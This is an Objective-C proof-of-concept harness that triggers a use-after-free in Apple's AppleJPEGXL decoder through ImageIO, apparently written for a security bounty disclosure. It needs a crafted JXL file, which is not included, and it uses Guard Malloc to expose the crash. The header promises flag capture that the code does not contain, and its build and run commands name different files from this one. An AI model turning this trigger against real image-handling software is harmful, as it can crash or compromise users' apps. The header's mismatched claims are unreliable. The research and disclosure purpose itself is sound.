/*
 * wkwebview_poc.m — PoC: AppleJPEGXL JxlDecoderDestroy UAF via ImageIO
 *                   with Apple Security Bounty (ASB) Target Flag capture (via dylib interpose)
 *
 * Demonstrates that the vulnerability is reachable from Safari's rendering
 * engine by loading the crafted JXL image through ImageIO (same code path
 * as Safari's WebContent process). This pipeline is also used in manuy other processes (Mail, Preview, etc.)
 *
 * Build:
 *   clang -o wkwebview_poc cgimagesource.m \
 *      -framework AppKit -framework Foundation \
 *     -framework ImageIO -framework CoreGraphics
 *
 * Run (with Guard Malloc to detect the UAF):
 *   DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \
 *   MallocScribble=1 MallocGuardEdges=1 \
 *   ./cgimagesource_poc poc.jxl
 *
 * Run under lldb:
 *   lldb -- ./cgimagesource poc.jxl
 *   (lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
 *   (lldb) env MallocScribble=1
 *   (lldb) env MallocGuardEdges=1
 *   (lldb) run
 *
 * Expected result:
 *   SIGABRT in AppleJPEGXL during JxlDecoderDestroy, attempting to free
 *   scribbled pointer 0xaaaaaaaaaaaaaaaa (use-after-free).
 *   The ASB target flag values printed before the crash allow correlation
 *   with the crash log's register state.
 */

#import <AppKit/AppKit.h>
#import <Foundation/Foundation.h>

/* Direct ImageIO decode — same path Safari uses internally */
#import <CoreGraphics/CoreGraphics.h>
#import <ImageIO/ImageIO.h>

extern bool CGRenderingStateSetAllowsAcceleration(void *, bool);
extern void *CGContextGetRenderingState(CGContextRef);


static void trigger_via_imageio(const char *path) {
  @autoreleasepool {
    NSData *data =
        [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:path]];
    if (!data) {
      fprintf(stderr, "Cannot read %s\n", path);
      return;
    }

    printf("[*] Decoding JXL via ImageIO (CGImageSourceCreateWithData)...\n");

    CFDataRef cfdata = (__bridge CFDataRef)data;
    CGImageSourceRef source = CGImageSourceCreateWithData(cfdata, NULL);
    if (!source) {
      printf("[-] CGImageSourceCreateWithData returned NULL\n");
      return;
    }

    size_t count = CGImageSourceGetCount(source);
    printf("[*] Image source created, %zu image(s)\n", count);

    for (size_t i = 0; i < count && i < 4; i++) {
      CGImageRef image = CGImageSourceCreateImageAtIndex(source, i, NULL);
      if (image) {
        size_t w = CGImageGetWidth(image);
        size_t h = CGImageGetHeight(image);
        printf("[*] Image %zu: %zux%zu\n", i, w, h);

        /* Force full pixel decode — triggers the vulnerable code path */
        if (w > 0 && h > 0 && w <= 8192 && h <= 8192) {
          CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
          CGContextRef ctx = CGBitmapContextCreate(
              NULL, w, h, 8, 4 * w, cs,
              (CGBitmapInfo)kCGImageAlphaPremultipliedLast);
          if (ctx) {
            CGContextDrawImage(ctx, CGRectMake(0, 0, w, h), image);
            CGContextRelease(ctx);
          }
          CGColorSpaceRelease(cs);
        }
        CGImageRelease(image);
      }
    }

    printf("[*] Releasing image source (triggers JxlDecoderDestroy)...\n");
    CFRelease(source);
    /* If we reach here without crashing, the UAF was not detected.
       Run with Guard Malloc (MallocScribble=1) to reveal it. */
    printf("[+] Decode completed. If no crash, run with Guard Malloc.\n");
  }
}

int main(int argc, const char *argv[]) {
  if (argc < 2) {
    fprintf(stderr, "Usage: %s <poc.jxl>\n", argv[0]);
    fprintf(stderr, "\nRun with Guard Malloc to trigger:\n");
    fprintf(stderr,
            "  DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib "
            "MallocScribble=1 %s poc.jxl\n",
            argv[0]);
    return 1;
  }

  printf("[*] AppleJPEGXL UAF - CVE-2026-28956\n");
  printf("[*]\n");

  /* Read and display ASB target flags before triggering the crash */

  /* Disable GPU acceleration */
  CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
  CGContextRef setup = CGBitmapContextCreate(0, 32, 32, 8, 0, cs, 1);
  CGRenderingStateSetAllowsAcceleration(CGContextGetRenderingState(setup),
                                        false);
  CGColorSpaceRelease(cs);

  /* Trigger the vulnerability through ImageIO (same as Safari) */
  trigger_via_imageio(argv[1]);

  return 0;
}